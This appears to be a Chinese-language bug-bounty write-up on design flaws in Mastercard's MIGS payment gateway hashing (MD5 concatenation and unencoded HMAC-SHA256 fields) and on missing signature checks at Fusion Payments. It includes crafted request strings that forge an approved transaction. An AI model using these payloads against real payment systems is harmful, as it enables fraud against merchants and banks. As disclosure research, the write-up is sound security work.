去年我发现了Matercard网关服务使用的一个MD5 version方面的设计错误。该错误能导致随意修改交易金额。当时还奖励了我一笔费用。今年,他们改为使用HMAC-SHA256,但是又有一个问题,目前我还没有从Mastercard获得反馈。如果你指想知道这个Bug是什么,可以直接跳过问题介绍部分。
什么是MIGS
当你在一个网站支付时,该网站尝试将他们的系统连接到一个中间的支付系统网关(跳转到另一个网站)。这个支付系统网关连接着多个支持系统。对于信用卡支付,支付系统网关会链接到另一个网关(其中有一个就是MIGS),再由这个网关和多个银行进行交互,并提供3DSecure服务。
如何工作的
MIGS的支付流程如下:
- 你从网上商店选择购买的物品。
- 结账时,输入信用卡号。
- 然后,信用卡号,金额,等信息被签名,然后浏览器将POST这些数据给中间支付系统网关。
- 中间支付系统网关,转换格式为MIGS需要的格式,签名(使用MIGS key),然后返会给浏览器,浏览器发送再POST请求给MIGS服务器。
- 如果没有请求3D Secure服务,则直接进行第6步。如果请求了,MIGS将把请求转发给银行,银行将查询OTP,之后生成一个HTML,将Data 以POST请求形式发送给MIGS。
- MIGS将返回一个签名后的数据给浏览器,同时将POST这些数据给中间网关。
- 中间网关将检查是否数据是被签名和有效的。如果无效,则产生一个错误的页面。
- 基于MIGS返回信息,支付系统网关将转发状态给网上商店。
注意:这些服务器之间的通信并不是直接进行交互的,而是通过用户的浏览器来进行的,但是所有的信息都被签名。理论上,如果签名和验证过程是正确的,则一切OK.但不幸的是,并不总是这样。
MIGS的MD5 哈希问题
该Bug十分简单,通常的HASH方法如下:
MD5(Server + Data)
这些数据都是类似于这样格式,对于每一个查询的参数,它都是以vpc_
开头,排序,然后连接值,之间没有分隔符。举个例子,如果我们有如下数据:
Name: Joe
Amount: 10000
Card: 1234567890123456
vpc_Name=Joe&Vpc_Amount=10000&vpc_Card=1234567890123456
排序后:
vpc_Amount=10000
vpc_Card=1234567890123456
vpc_Name=Joe
获取值,连接:
100001234567890123456Joe
注意,如果将参数该为这样:
vpc_Name=Joe&vpc_Amount=1&vpc_Card=1234567890123456&vpc_B=0000
排序后:
vpc_Amount=1
vpc_B=0000
vpc_Card=1234567890123456789
vpc_Name=Joe
获取值,连接:
100001234567890123456Joe
MD5值是一样的。所以,当数据发送给MIGS时,我们可以在金额后插入一个额外的参数来“吃掉”最后的几个数字,或者在之前,“吃掉”前几个数字,则金额数量锐减,你只需要支付2 USD就可以买2000 USD的MacBook。中间网关和网上商店同样可以修复这个bug,只需检查MIGS返回的金额数量,来确保和请求的金额数量是一致的即可。对此问题,MasterCard奖励了我8500 USD。
HMAC-SHA256 哈希的问题
新采用的HMAC-SHA256有一个问题,如果我们可以注入一个无效的值给中间支付系统网关,即可被利用。我测试过,至少一个支付网关(包括Fushion Payments)都有这个bug。我从Fusion Payments处获得了500 USD。但是它同样可以影响别的连接到MIGS的支付网关。
在新的版本中,他们增加了分隔符(&),额外的field 名字,不简单的只是值,而且采用了HMAC-SHA256方法,对于上面提到,同样的值,被哈希的数据如下:
Vpc_Amount=10000&vpc_Card=1234567890123456&vpc_Name=Joe
我们无法修改任何一处,每一项看起来都OK。但是如果一个值包含&
或者=
或者其它等特殊字符呢?在文档中,有这么一句话:
Note: The values in all name value pairs should NOT be URL encoded for the purpose of hashing.
"NOT"
是重点。意味着如果我们有如下成员:
Amount=100
Card=1234
CVV=555
它将被HASH:HMAC(Amount=100&Card=1234&CVV=555)
,如果我们这样呢,在Amount中加入&
和=
。
Amount=100&Card=1234
CVV=555
它将被HASH: HMAC(Amount=100&Card=1234&CVV
。和之前一样。
<br>
当然,我认为可能文档出错了,也许它确实被encoded
。但是我检查了MIGS的行为,行为正如文档中提到的。也许,他们不想处理不同的编码问题吧(比如,用%20替代+)。当然这个看起来不会有什么问题,任何无效的值会被MIGS检查,返回一个错误。但是,我检查了多个支付网关,并不是在自身服务端验证输入的有效性,他们只是简单的签名,然后转发给MIGS。在客户端使用JavaScript来实现检查是非常简单的,只需给数据签名,让MIGS来检查是否CardNumber是正确的,或者是错误的。在Fusion支付系统中,它正是这样做的,允许输入任意长度的任意字符给CVV,然后签名转发给MIGS。
利用
为了利用这个bug,我们需要构造一个字符串,是一个有效的请求,同时是也是可以有效的获得MIGS返回。我们无需连接到MIGS服务器,只需要强制客户端签名它们自己的数据。
一个基本的请求如下:
vpc_AccessCode=9E33F6D7&vpc_Amount=25&vpc_Card=Visa&vpc_CardExp=1717&vpc_CardNum=4599777788889999&vpc_CardSecurityCode=999&vpc_OrderInfo=ORDERINFO&vpc_SecureHash=THEHASH&vpc_SecureHashType=SHA256
一个基本的返回如下:
vpc_Message=Approved&vpc_OrderInfo=ORDERINFO&vpc_ReceiptNo=722819658213&vpc_TransactionNo=2000834062&vpc_TxnResponseCode=0&vpc_SecureHash=THEHASH&vpc_SecureHashType=SHA256
在Fusion 支付的问题中,该利用是通过注入vpc_CardSecurityCode(CVV)
来实现的
vpc_AccessCode=9E33F6D7&vpc_Amount=25&vpc_Card=Visa&vpc_CardExp=1717&vpc_CardNum=4599777788889999&vpc_CardSecurityCode=999%26vpc_Message%3DApproved%26vpc_OrderInfo%3DORDERINFO%26vpc_ReceiptNo%3D722819658213%26vpc_TransactionNo%3D2000834062%26vpc_TxnResponseCode%3D0%26vpc_Z%3Da&vpc_OrderInfo=ORDERINFO&vpc_SecureHash=THEHASH&vpc_SecureHashType=SHA256
对于这个字符串,客户端/支付网关将产生正确的HASH。
现在,我们可以POST这些数据给客户端自身(没有去MIGS服务器),但是我们轻微的改动,使得客户端可以读取到正确的值,(大部分客户端只检查vpc_TxnResponseCode
和vpc_TransacationNo
):
vpc_AccessCode=9E33F6D7%26vpc_Amount%3D25%26vpc_Card%3DVisa%26vpc_CardExp%3D1717%26vpc_CardNum%3D4599777788889999%26vpc_CardSecurityCode%3D999&vpc_Message=Approved&vpc_OrderInfo=ORDERINFO&vpc_ReceiptNo=722819658213&vpc_TransactionNo=2000834062&vpc_TxnResponseCode=0&vpc_Z=a%26vpc_OrderInfo%3DORDERINFO&vpc_SecureHash=THEHASH&vpc_SecureHashType=SHA256
注意:
- 这个和之前的数据一样被HASH。
- 客户端不检查
vpc_AccessCode
和它的值。
- 客户端只检查
vpc_TxnResonseCode
等,同时假设交易是有效的。
可以说,这个是MIGS客户端的bug,但是是MasterCard哈希方法的选则导致这个问题的产生,一旦value被encoded,则该bug将不可能被利用。
支付网关中的问题
额外提一下:即使支付网关负责处理金钱事务,但是并没有人们想想的那么安全。在我的pentest中,我发现多个支付协议设计上的问题。不幸的是,我无法在此处详细介绍。同时还发现了在实现上的一些问题。比如,Hash长度扩展攻击,XML 签名验证错误等。
在Fusion Payment中,一个bug是,他们甚至没有检查MIGS的签名。即意味着,我们可以随意修改MIGS返回的数据,同时标注交易成功。只需要简单的将一个字符从F(false)改为o(success)。故基本上,我们只需要输入任意的信用卡号,获取一个失败的MIGS相应,修改为成功,则支付就成功了。这是一个 2千万USD的公司,对于这个bug我却只得到了400 USD。
这并不是唯一有这个问题的支付网关,在我的pentest中,我在另一个payment中也发现了同样的问题。
结论
支付网关并没有你想的那么安全。同时如此低的赏金,我怀疑有多少人已经开始利用了这些问题。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工
作,每周日13:00-18:00直播授课